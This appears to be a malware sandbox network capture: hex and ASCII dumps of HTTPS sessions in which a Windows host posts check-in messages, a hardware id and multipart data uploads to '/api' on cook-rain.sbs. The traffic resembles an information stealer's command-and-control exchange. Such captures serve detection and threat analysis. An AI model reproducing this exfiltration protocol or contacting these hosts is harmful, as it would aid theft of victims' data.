2024-11-18 18:05:07 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=368D4092CF5D385C63CFCF7E6C45F838
2024-11-18 18:05:08 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9o8didhq57pfi6eup294h2r0a; expires=Fri, 14-Mar-2025 11:51:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dI6du8y476Wwp3yO7RhpXxhTMxkb13391vWX%2FoO7J0rcjkQDUU4Quarpq5egq6w4p%2BT93JMALLYl5Y6Ojx30OfYzB%2BWvzW0nVH78Elr7JAa9ioK2hookMXjq9tlBSmAC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e30ab9a32ca1-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24465&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=118465&cwnd=32&unsent_bytes=0&cid=1bbbb8a40f51e89c&ts=615&x=0"
2024-11-18 18:05:08 UTC	214	IN	Data Raw: 64 30 0d 0a 6a 65 75 53 77 41 6b 51 5a 38 4f 77 66 4c 71 35 31 54 52 70 72 65 44 68 44 6a 37 46 45 30 58 38 52 36 33 4e 53 38 43 56 49 2b 37 57 6b 4c 43 31 4b 79 70 46 71 38 51 49 79 6f 4f 4a 47 7a 57 43 30 64 6b 37 45 50 63 69 63 4e 4a 32 6e 50 35 6c 38 61 4e 2f 77 65 4b 4e 39 4a 77 6d 64 41 4b 6c 6e 68 6e 43 33 50 63 59 53 38 75 55 77 7a 51 4f 36 54 45 67 33 6e 32 63 73 47 65 37 74 31 62 4d 74 38 6e 36 74 48 31 67 58 5a 2b 66 49 4a 57 49 37 51 46 48 6e 39 48 55 49 41 2f 30 49 47 76 4e 63 66 48 69 4f 4c 54 77 51 6f 50 52 78 4f 43 68 5a 33 51 49 72 70 34 5a 77 74 7a 33 47 45 76 4c 6c 4d 4d 30 44 75 6b 78 49 4e 35 39 6e 4c 41 57 0d 0a Data Ascii: d0jeuSwAkQZ8OwfLq51TRpreDhDj7FE0X8R63NS8CVI+7WkLC1KypFq8QIyoOJGzWC0dk7EPcicNJ2nP5l8aN/weKN9JwmdAKlnhnC3PcYS8uUwzQO6TEg3n2csGe7t1bMt8n6tH1gXZ+fIJWI7QFHn9HUIA/0IGvNcfHiOLTwQoPRxOChZ3QIrp4Zwtz3GEvLlMM0DukxIN59nLAW
2024-11-18 18:05:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	50079	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:16 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 18:05:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 18:05:17 UTC	1000	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d447a0pjllc205e3tmmcq4kq9m; expires=Fri, 14-Mar-2025 11:51:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jSjY52VO625EiYKvhPijonB8NU3eNbTBKk6SS6CzlxJlZObKrEpFhhKCRCNxxMpeymSN20AVSAjfx7YHqhJNEVXzOQSmw2FZkirAokc1Z%2BNRJNYVXEU7c6PgXbET%2FbWe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e3452c69b004-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18836&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=154149&cwnd=32&unsent_bytes=0&cid=5753515dbfc867a6&ts=549&x=0"
2024-11-18 18:05:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 18:05:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	50097	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:21 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 18:05:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 18:05:21 UTC	1000	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9u0bk8s5mdg0mbdnpf3sk0l384; expires=Fri, 14-Mar-2025 11:52:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MbHYdZcC79OLoI4fsrISNqMtekKTx8MvCYh2aj8cQNqp3W6fD3EK%2BdTkvtN6dJYPMxuC5p6kqevMLSmN7DPFsd9%2B3Mc4IjSxw6s2a6dYSMOec2WRaELvMvhl100TB1hD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e3601b41bd2b-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20226&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=142772&cwnd=32&unsent_bytes=0&cid=162f4bc57637c1b4&ts=791&x=0"
2024-11-18 18:05:21 UTC	369	IN	Data Raw: 34 34 36 63 0d 0a 65 69 73 33 49 71 76 58 6f 72 7a 74 6f 34 62 39 53 67 78 36 4a 47 58 50 51 72 69 51 33 6e 61 52 74 61 39 74 58 4a 33 71 32 55 4d 42 43 55 45 41 6b 65 4f 4f 6e 70 37 47 70 4d 63 2b 66 67 39 42 53 65 30 6a 33 4c 4c 6b 45 50 44 5a 33 41 68 77 76 35 79 30 59 55 42 4e 56 6b 37 59 73 6f 36 65 69 4e 75 6b 78 78 46 33 57 45 45 4c 37 58 69 61 39 62 51 55 38 4e 6e 4e 44 44 66 79 6d 72 55 67 45 6b 64 51 53 73 36 30 78 74 32 42 7a 75 4f 59 4c 32 30 51 53 67 79 69 4b 74 57 79 38 6c 54 30 7a 34 31 58 66 74 43 50 72 53 49 33 53 6b 52 4a 69 61 71 4f 78 38 2f 47 36 4e 39 77 4c 68 74 42 42 36 4d 6b 33 50 75 32 48 76 6e 52 7a 41 6b 32 37 59 4f 2f 4b 78 4a 4a 55 30 76 45 76 64 4c 51 69 38 6e 6f 6e 69 56 74 57 41 68 48 71 6a 69 61 71 76 78 48 77 64 54 63 48 Data Ascii: 446ceis3IqvXorzto4b9Sgx6JGXPQriQ3naRta9tXJ3q2UMBCUEAkeOOnp7GpMc+fg9BSe0j3LLkEPDZ3Ahwv5y0YUBNVk7Yso6eiNukxxF3WEEL7Xia9bQU8NnNDDfymrUgEkdQSs60xt2BzuOYL20QSgyiKtWy8lT0z41XftCPrSI3SkRJiaqOx8/G6N9wLhtBB6Mk3Pu2HvnRzAk27YO/KxJJU0vEvdLQi8noniVtWAhHqjiaqvxHwdTcH
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 4b 72 53 33 51 2f 62 38 55 39 4e 33 48 41 44 54 37 68 62 59 6e 47 45 6b 56 44 6f 6d 79 32 4a 37 58 67 63 65 61 4f 47 6b 55 55 45 57 58 59 4d 57 38 70 56 54 30 32 34 31 58 66 76 65 4e 75 43 49 54 52 6c 5a 49 77 71 66 41 7a 49 6e 4d 34 59 30 75 61 78 5a 4d 42 4c 38 71 31 50 53 2f 48 66 6a 65 79 41 67 36 76 38 62 37 4a 67 41 4a 44 51 44 6f 75 4d 76 53 68 64 62 6b 33 7a 63 67 41 51 59 41 6f 57 43 43 73 72 67 56 39 39 62 4a 41 54 44 37 68 4c 30 76 46 55 5a 54 53 73 6d 79 79 74 61 48 77 4f 6d 55 4a 32 34 64 53 77 4f 72 4c 4e 76 33 2f 46 71 7a 30 4e 56 50 5a 72 2b 6d 76 43 49 4b 43 32 42 44 78 37 76 48 79 4d 2f 65 71 6f 5a 6f 61 52 51 47 58 2b 30 75 33 2f 32 75 46 65 48 53 77 78 30 79 2b 6f 36 32 49 68 5a 4a 55 45 66 45 75 38 62 5a 6a 4d 6e 67 6e 69 5a 69 45 6b Data Ascii: KrS3Q/b8U9N3HADT7hbYnGEkVDomy2J7XgceaOGkUUEWXYMW8pVT0241XfveNuCITRlZIwqfAzInM4Y0uaxZMBL8q1PS/HfjeyAg6v8b7JgAJDQDouMvShdbk3zcgAQYAoWCCsrgV99bJATD7hL0vFUZTSsmyytaHwOmUJ24dSwOrLNv3/Fqz0NVPZr+mvCIKC2BDx7vHyM/eqoZoaRQGX+0u3/2uFeHSwx0y+o62IhZJUEfEu8bZjMngniZiEk
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 30 2f 4b 33 48 76 66 58 79 67 49 37 2f 49 2b 34 4c 42 39 44 57 30 66 4e 75 63 6e 54 69 63 48 6a 6d 79 31 38 48 55 38 4c 6f 57 43 55 73 72 73 4d 73 34 2b 4e 49 44 6e 70 69 35 51 69 43 55 41 56 58 34 65 73 67 4e 6d 44 67 62 7a 66 4c 32 73 51 54 51 47 6c 49 4d 6a 33 73 68 2f 79 33 63 73 4f 4d 2f 4f 4f 75 79 41 59 54 31 6c 41 7a 72 4c 53 7a 49 72 48 39 70 56 6f 49 46 68 42 48 2b 31 34 6d 73 53 73 41 2b 4c 42 6a 7a 6f 39 38 59 61 38 4e 31 68 57 47 31 6d 4a 73 73 79 65 31 34 48 76 6e 79 52 70 45 45 41 44 70 53 2f 56 2b 36 34 56 2f 39 6e 66 43 44 37 32 68 72 51 74 45 55 52 53 54 63 4b 2f 7a 64 71 49 77 4b 54 52 61 47 6b 41 42 6c 2f 74 46 73 72 2f 73 44 72 34 32 38 52 50 49 62 47 52 2b 79 59 55 43 51 30 41 7a 62 6e 49 31 49 44 49 37 70 55 6e 5a 78 68 4f 44 71 51 Data Ascii: 0/K3HvfXygI7/I+4LB9DW0fNucnTicHjmy18HU8LoWCUsrsMs4+NIDnpi5QiCUAVX4esgNmDgbzfL2sQTQGlIMj3sh/y3csOM/OOuyAYT1lAzrLSzIrH9pVoIFhBH+14msSsA+LBjzo98Ya8N1hWG1mJssye14HvnyRpEEADpS/V+64V/9nfCD72hrQtEURSTcK/zdqIwKTRaGkABl/tFsr/sDr428RPIbGR+yYUCQ0AzbnI1IDI7pUnZxhODqQ
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 46 53 72 6c 2b 49 6f 43 37 32 70 67 57 45 48 42 30 77 41 7a 72 6d 41 68 73 2f 4e 35 35 4d 67 59 52 35 50 43 36 63 70 30 66 36 33 45 50 2f 65 79 41 6b 2f 2b 6f 32 36 4a 52 52 44 55 30 50 4b 75 73 2f 52 68 34 47 71 33 79 39 32 57 42 35 48 69 44 66 52 2f 4c 70 55 37 4a 6e 55 54 7a 6e 7a 79 4f 4e 68 46 45 42 54 52 73 79 35 77 64 69 48 78 4f 79 62 4b 57 67 65 52 51 69 70 4a 64 76 39 75 42 6a 39 33 63 77 4f 4d 76 53 48 73 43 52 59 42 78 56 48 30 66 57 59 6e 72 37 43 38 6f 67 34 59 6c 68 5a 53 62 52 67 33 66 37 38 54 4c 50 57 33 77 55 30 38 59 32 30 4a 42 74 47 55 6b 33 50 75 63 72 58 68 38 66 72 6c 6a 70 74 46 45 67 41 6f 79 7a 55 2f 37 59 58 2f 70 65 44 54 7a 6e 6e 79 4f 4e 68 4e 45 35 59 62 73 4b 35 78 35 36 51 6a 2f 33 66 4c 32 4a 59 48 6b 65 68 4b 74 62 37 Data Ascii: FSrl+IoC72pgWEHB0wAzrmAhs/N55MgYR5PC6cp0f63EP/eyAk/+o26JRRDU0PKus/Rh4Gq3y92WB5HiDfR/LpU7JnUTznzyONhFEBTRsy5wdiHxOybKWgeRQipJdv9uBj93cwOMvSHsCRYBxVH0fWYnr7C8og4YlhZSbRg3f78TLPW3wU08Y20JBtGUk3PucrXh8frljptFEgAoyzU/7YX/peDTznnyONhNE5YbsK5x56Qj/3fL2JYHkehKtb7
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 58 38 47 54 33 70 67 37 59 74 57 46 59 62 57 59 6d 79 7a 4a 37 58 67 65 4b 51 49 57 30 58 52 77 36 68 4c 64 2f 37 75 52 58 31 30 38 63 46 50 76 6d 4f 75 69 51 53 53 6c 52 4b 77 4c 4c 49 32 59 7a 54 70 4e 46 6f 61 51 41 47 58 2b 30 4a 33 65 43 79 42 4c 50 49 67 78 5a 2b 2b 49 54 37 65 56 68 4e 58 30 2f 4e 73 73 7a 59 69 73 66 70 6e 69 64 76 47 45 6b 44 70 69 6e 63 38 37 45 52 2f 74 50 66 42 54 58 77 68 4c 49 74 46 51 6b 62 41 4d 36 74 67 49 62 50 38 4f 6d 52 4a 6d 6b 4f 42 68 6a 6a 4f 5a 72 31 73 46 53 72 6c 38 77 44 4d 66 79 48 75 43 49 5a 51 30 64 53 78 62 7a 49 32 34 50 4b 36 70 6b 36 61 42 64 50 42 4b 34 70 33 66 71 77 48 76 44 51 6a 55 46 2b 2b 4a 44 37 65 56 68 71 51 6c 44 45 39 64 2b 51 6c 6f 48 6a 6b 32 67 32 57 45 34 4b 70 53 72 65 39 62 45 54 39 Data Ascii: X8GT3pg7YtWFYbWYmyzJ7XgeKQIW0XRw6hLd/7uRX108cFPvmOuiQSSlRKwLLI2YzTpNFoaQAGX+0J3eCyBLPIgxZ++IT7eVhNX0/NsszYisfpnidvGEkDpinc87ER/tPfBTXwhLItFQkbAM6tgIbP8OmRJmkOBhjjOZr1sFSrl8wDMfyHuCIZQ0dSxbzI24PK6pk6aBdPBK4p3fqwHvDQjUF++JD7eVhqQlDE9d+QloHjk2g2WE4KpSre9bET9
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 36 2b 34 2b 2b 49 68 52 43 55 6b 50 47 73 63 6e 51 68 73 36 6b 30 57 68 70 41 41 5a 66 37 51 48 42 38 62 41 5a 73 38 69 44 46 6e 37 34 68 50 74 35 57 45 56 62 52 63 6d 2f 78 74 71 4b 78 2b 36 61 4b 47 55 62 53 51 4f 72 4a 4e 58 79 74 78 33 79 30 63 67 46 4e 66 6d 46 75 43 63 65 43 52 73 41 7a 71 32 41 68 73 2f 68 2f 35 49 6b 61 56 68 5a 53 62 52 67 33 66 37 38 54 4c 50 63 77 51 73 35 2f 34 57 34 4b 52 31 4e 58 30 58 4a 76 64 4c 57 6a 38 62 32 6a 53 68 6e 48 55 6f 45 72 53 54 63 2b 37 6f 58 39 35 65 44 54 7a 6e 6e 79 4f 4e 68 4e 55 56 53 61 63 36 75 67 4d 48 42 32 4b 53 59 4a 43 35 41 42 67 61 6d 4b 74 58 2f 76 78 4c 77 33 4d 67 46 50 2f 69 41 74 6a 4d 62 52 6c 70 45 79 62 72 47 32 49 37 4f 34 70 67 68 62 78 42 42 52 2b 4e 67 33 65 72 38 54 4c 50 35 79 67 Data Ascii: 6+4++IhRCUkPGscnQhs6k0WhpAAZf7QHB8bAZs8iDFn74hPt5WEVbRcm/xtqKx+6aKGUbSQOrJNXytx3y0cgFNfmFuCceCRsAzq2Ahs/h/5IkaVhZSbRg3f78TLPcwQs5/4W4KR1NX0XJvdLWj8b2jShnHUoErSTc+7oX95eDTznnyONhNUVSac6ugMHB2KSYJC5ABgamKtX/vxLw3MgFP/iAtjMbRlpEybrG2I7O4pghbxBBR+Ng3er8TLP5yg
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 2b 79 35 59 45 57 77 41 77 4c 4c 62 7a 35 6e 4d 39 4a 68 6f 55 56 59 47 48 2b 31 34 6d 73 65 2f 47 76 33 51 32 78 35 7a 32 4a 36 78 4a 67 68 4f 51 6b 2b 4a 2b 34 44 59 7a 35 6d 33 30 57 68 71 43 51 5a 66 2f 58 4b 42 70 2b 39 44 6f 34 58 53 51 53 65 2f 6e 76 74 35 53 67 63 56 55 6f 6e 74 67 4a 6d 4d 30 2f 61 5a 4b 33 67 62 41 54 6d 54 42 38 44 2f 75 67 50 69 36 66 4d 49 4a 50 4b 4f 72 44 42 55 58 46 5a 4f 78 37 4c 57 6e 73 47 42 36 39 39 77 56 31 67 4f 52 35 4a 75 6d 75 72 38 54 4c 50 69 7a 67 45 77 2b 4a 36 71 62 44 39 54 57 45 62 65 70 49 43 51 7a 38 65 6b 78 33 67 67 57 45 49 57 37 58 69 4b 6f 4f 64 42 6f 49 43 64 58 53 47 78 6b 66 73 33 57 42 45 48 44 6f 6d 6e 67 49 62 50 68 75 65 4e 4f 6d 67 62 55 41 54 71 48 75 54 63 75 78 4c 32 30 4e 31 4e 45 50 53 Data Ascii: +y5YEWwAwLLbz5nM9JhoUVYGH+14mse/Gv3Q2x5z2J6xJghOQk+J+4DYz5m30WhqCQZf/XKBp+9Do4XSQSe/nvt5SgcVUontgJmM0/aZK3gbATmTB8D/ugPi6fMIJPKOrDBUXFZOx7LWnsGB699wV1gOR5Jumur8TLPizgEw+J6qbD9TWEbepICQz8ekx3ggWEIW7XiKoOdBoICdXSGxkfs3WBEHDomngIbPhueNOmgbUATqHuTcuxL20N1NEPS
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 6b 35 55 56 74 6d 69 7a 35 37 42 67 65 4c 66 63 44 78 57 42 67 4f 38 59 49 4b 69 37 6b 2b 6d 68 4a 70 66 62 4f 44 47 6f 6d 45 4f 43 51 30 53 68 2f 58 53 6e 74 65 42 6f 35 77 36 66 42 35 46 45 61 35 6e 35 4d 79 62 47 76 54 57 32 78 38 70 38 4d 65 56 46 7a 6c 33 61 31 58 4b 75 38 37 5a 6d 64 43 6b 30 57 68 68 57 42 34 2b 37 57 69 61 7a 66 4a 55 36 35 65 56 54 77 76 38 68 72 55 6d 44 6c 67 59 5a 38 65 79 77 63 69 66 31 75 76 51 42 6c 67 35 42 6b 6e 74 4a 70 71 71 37 6c 71 7a 30 39 78 50 5a 71 2f 61 34 48 52 4c 48 67 55 53 31 76 76 5a 6e 70 6d 42 76 4d 31 6d 4c 67 6f 47 58 2b 31 6e 32 65 43 75 45 76 44 42 7a 6b 67 41 77 61 2b 31 4a 68 6c 66 52 55 33 46 6c 4d 50 50 68 66 2f 61 69 69 74 67 46 6b 45 52 76 47 43 55 73 72 4e 55 71 2b 36 4e 52 33 37 41 78 76 73 35 Data Ascii: k5UVtmiz57BgeLfcDxWBgO8YIKi7k+mhJpfbODGomEOCQ0Sh/XSnteBo5w6fB5FEa5n5MybGvTW2x8p8MeVFzl3a1XKu87ZmdCk0WhhWB4+7WiazfJU65eVTwv8hrUmDlgYZ8eywcif1uvQBlg5BkntJpqq7lqz09xPZq/a4HRLHgUS1vvZnpmBvM1mLgoGX+1n2eCuEvDBzkgAwa+1JhlfRU3FlMPPhf/aiitgFkERvGCUsrNUq+6NR37Axvs5
2024-11-18 18:05:21 UTC	1369	IN	Data Raw: 44 4b 39 2b 7a 5a 67 73 33 61 6f 52 39 2f 48 31 5a 46 69 79 50 4d 38 66 78 61 73 38 2b 4e 56 33 37 53 6d 72 77 78 47 77 74 35 52 38 53 35 67 4d 48 42 32 4b 53 4a 61 44 5a 4c 43 45 65 2f 59 49 4b 79 2b 78 66 68 78 63 73 4d 4b 50 7a 50 68 52 38 31 57 31 4a 51 79 76 66 78 30 34 76 58 38 5a 77 34 61 53 5a 34 4b 72 38 6e 79 76 48 2b 4d 63 6d 56 2f 42 6b 39 2f 34 61 38 59 56 59 4a 54 51 43 52 39 65 33 4d 69 4e 48 6e 33 51 31 55 57 6e 63 52 72 69 44 55 39 66 77 4c 76 63 36 4e 47 58 36 6e 32 2f 56 68 43 67 6b 4e 41 49 36 37 7a 64 2b 4d 7a 2b 65 4e 4f 6d 67 62 55 41 54 71 48 75 54 64 74 78 58 6a 32 74 77 43 4f 75 6d 32 68 51 59 65 54 46 4a 2b 39 34 4c 52 32 5a 2b 44 77 70 77 2b 62 56 67 49 52 37 56 67 67 72 4b 62 45 76 62 51 6a 55 46 2b 2b 38 6a 6a 59 54 64 43 56 Data Ascii: DK9+zZgs3aoR9/H1ZFiyPM8fxas8+NV37SmrwxGwt5R8S5gMHB2KSJaDZLCEe/YIKy+xfhxcsMKPzPhR81W1JQyvfx04vX8Zw4aSZ4Kr8nyvH+McmV/Bk9/4a8YVYJTQCR9e3MiNHn3Q1UWncRriDU9fwLvc6NGX6n2/VhCgkNAI67zd+Mz+eNOmgbUATqHuTdtxXj2twCOum2hQYeTFJ+94LR2Z+Dwpw+bVgIR7VggrKbEvbQjUF++8jjYTdCV

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	50105	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:29 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TB513CEOOSX2T968 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13794 Host: cook-rain.sbs
2024-11-18 18:05:29 UTC	13794	OUT	Data Raw: 2d 2d 54 42 35 31 33 43 45 4f 4f 53 58 32 54 39 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 54 42 35 31 33 43 45 4f 4f 53 58 32 54 39 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 42 35 31 33 43 45 4f 4f 53 58 32 54 39 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --TB513CEOOSX2T968Content-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--TB513CEOOSX2T968Content-Disposition: form-data; name="pid"2--TB513CEOOSX2T968Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-18 18:05:30 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nnv3p9ddkesttvi10jk9edruo9; expires=Fri, 14-Mar-2025 11:52:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxxqT01FDgTTb%2Bb5Nqdh3w1i80MZPlhvjhT8C3gUyiEGWP%2BHxdmoeewqQm3g9x9rV7OSdnbjGK6Ke5874I6lrNriOn5%2Fs9hihZ8NjojuWy74zwQjuOR5tm%2BgRTAEd%2FMx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e3959e792234-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23963&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2828&recv_bytes=14729&delivery_rate=120701&cwnd=32&unsent_bytes=0&cid=3149e0f3b57611e4&ts=735&x=0"
2024-11-18 18:05:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:05:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	50107	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:31 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NIA3GTW15VL0Z7X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15065 Host: cook-rain.sbs
2024-11-18 18:05:31 UTC	15065	OUT	Data Raw: 2d 2d 4e 49 41 33 47 54 57 31 35 56 4c 30 5a 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 49 41 33 47 54 57 31 35 56 4c 30 5a 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 49 41 33 47 54 57 31 35 56 4c 30 5a 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --NIA3GTW15VL0Z7XContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--NIA3GTW15VL0Z7XContent-Disposition: form-data; name="pid"2--NIA3GTW15VL0Z7XContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-18 18:05:31 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ddhmik5h1r8ric1en1hqkqg09; expires=Fri, 14-Mar-2025 11:52:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9UJJ0AS7ON%2BYoSDBEnH73ijVvRaiGJwNMfuT%2FbkLHgxkNhJH7vWm%2FKkB0vNAWKI66U8EKd2vyeGuqNhIWi2ozq7ucXMbi00zbi%2BNkRbTUTgXL0wbXUW%2BNRvJhuNSOq4p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e39ea96662d0-ORD alt-svc: h3=":443"; ma=86400 server-timing: 